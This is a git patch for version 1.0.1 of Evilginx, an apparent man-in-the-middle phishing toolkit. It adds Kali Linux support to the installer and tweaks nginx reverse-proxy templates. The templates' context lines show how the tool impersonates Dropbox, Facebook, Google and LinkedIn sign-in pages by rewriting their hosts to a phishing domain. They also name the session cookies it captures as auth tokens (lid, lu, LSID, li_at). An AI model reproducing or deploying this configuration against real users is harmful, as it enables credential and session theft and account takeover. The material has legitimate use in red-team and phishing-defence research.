From c13676a96a7d40b929711ceb2e65e807c0600b3d Mon Sep 17 00:00:00 2001 From: Kuba Gretzky Date: Mon, 8 May 2017 13:19:04 +0200 Subject: [PATCH] version 1.0.1 (2017-05-08): [+] Fixed '[warn] duplicate MIME type "text/html"' warnings in /var/log/nginx/error.log. [+] Added Kali Linux compatibility to install.sh script. --- CHANGELOG | 6 +++++- install.sh | 3 ++- sites/dropbox/www.dropbox.com.conf | 2 +- sites/facebook/m.facebook.com.conf | 2 +- sites/facebook/www.facebook.com.conf | 2 +- sites/google/accounts.google.com.conf | 2 +- sites/linkedin/www.linkedin.com.conf | 2 +- 7 files changed, 12 insertions(+), 7 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 2a7cebc..b0fac57 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,8 @@ -version 1.0 : +version 1.0.1 (2017-05-08): +[+] Fixed '[warn] duplicate MIME type "text/html"' warnings in /var/log/nginx/error.log. +[+] Added Kali Linux compatibility to install.sh script. + +version 1.0 (2017-04-26) : [+] Created central script for handling setup, parsing and generating urls. [+] Added install.sh script that will single-handedly install Evilginx package on Debian. [+] Added support for adding external site templates in framework-like manner. diff --git a/install.sh b/install.sh index e3f40c6..e535429 100644 --- a/install.sh +++ b/install.sh @@ -24,8 +24,9 @@ if [ -z "$os_type" ]; then [ -f /etc/lsb-release ] && os_type="$(. /etc/lsb-release && echo "$DISTRIB_ID")" [ "$os_type" = "debian" ] && os_type=Debian [ "$os_type" = "ubuntu" ] && os_type=Ubuntu + [ "$os_type" = "kali" ] && os_type=Kali fi -if [ "$os_type" != "Ubuntu" ] && [ "$os_type" != "Debian" ] && [ "$os_type" != "Raspbian" ]; then +if [ "$os_type" != "Ubuntu" ] && [ "$os_type" != "Debian" ] && [ "$os_type" != "Raspbian" ] && [ "$os_type" != "Kali" ]; then exiterr "This script only supports Ubuntu/Debian." fi diff --git a/sites/dropbox/www.dropbox.com.conf b/sites/dropbox/www.dropbox.com.conf index ba806f1..56212fc 100644 --- a/sites/dropbox/www.dropbox.com.conf +++ b/sites/dropbox/www.dropbox.com.conf @@ -30,7 +30,7 @@ server { sub_filter '"{{TARGET_HOST[0]}}"' '"{{PHISH_HOSTNAME[0]}}"'; sub_filter '"dropbox.com"' '"{{PHISH_DOMAIN}}"'; sub_filter_once off; - sub_filter_types text/html application/json; + sub_filter_types application/json; set $auth_token "lid"; diff --git a/sites/facebook/m.facebook.com.conf b/sites/facebook/m.facebook.com.conf index f4624a4..d2820a3 100644 --- a/sites/facebook/m.facebook.com.conf +++ b/sites/facebook/m.facebook.com.conf @@ -27,7 +27,7 @@ server { sub_filter '\\\\\\/\\\\\\/{{TARGET_HOST[1]}}' '\\\\\\/\\\\\\/{{PHISH_HOSTNAME[1]}}'; sub_filter 'https:\/\/{{TARGET_HOST[1]}}\/' 'https:\/\{{PHISH_HOSTNAME[1]}}\/'; sub_filter_once off; - sub_filter_types text/html application/json application/x-javascript; + sub_filter_types application/json application/x-javascript; set $auth_token "lu"; diff --git a/sites/facebook/www.facebook.com.conf b/sites/facebook/www.facebook.com.conf index 0f6de43..c46e212 100644 --- a/sites/facebook/www.facebook.com.conf +++ b/sites/facebook/www.facebook.com.conf @@ -24,7 +24,7 @@ server { sub_filter 'https://{{TARGET_HOST[0]}}/' 'https://{{PHISH_HOSTNAME[0]}}/'; sub_filter_once off; - sub_filter_types text/html application/json; + sub_filter_types application/json; set $auth_token "lu"; diff --git a/sites/google/accounts.google.com.conf b/sites/google/accounts.google.com.conf index 06a8786..17d45e6 100644 --- a/sites/google/accounts.google.com.conf +++ b/sites/google/accounts.google.com.conf @@ -27,7 +27,7 @@ server { sub_filter '{{TARGET_HOST[1]}}' 'ssl.{{PHISH_DOMAIN}}'; sub_filter 'https://{{TARGET_HOST[0]}}/CheckCookie' 'https://{{PHISH_HOSTNAME[0]}}/CheckCookie'; sub_filter_once off; - sub_filter_types text/html application/json; + sub_filter_types application/json; set $auth_token "LSID"; diff --git a/sites/linkedin/www.linkedin.com.conf b/sites/linkedin/www.linkedin.com.conf index b8ca147..404de9c 100644 --- a/sites/linkedin/www.linkedin.com.conf +++ b/sites/linkedin/www.linkedin.com.conf @@ -27,7 +27,7 @@ server { sub_filter 'href="https://{{TARGET_HOST[0]}}' 'href="https://{{PHISH_HOSTNAME[0]}}'; sub_filter '//{{TARGET_HOST[0]}}/nhome/' '//{{PHISH_HOSTNAME[0]}}/nhome/'; sub_filter_once off; - sub_filter_types text/html application/json; + sub_filter_types application/json; set $auth_token "li_at";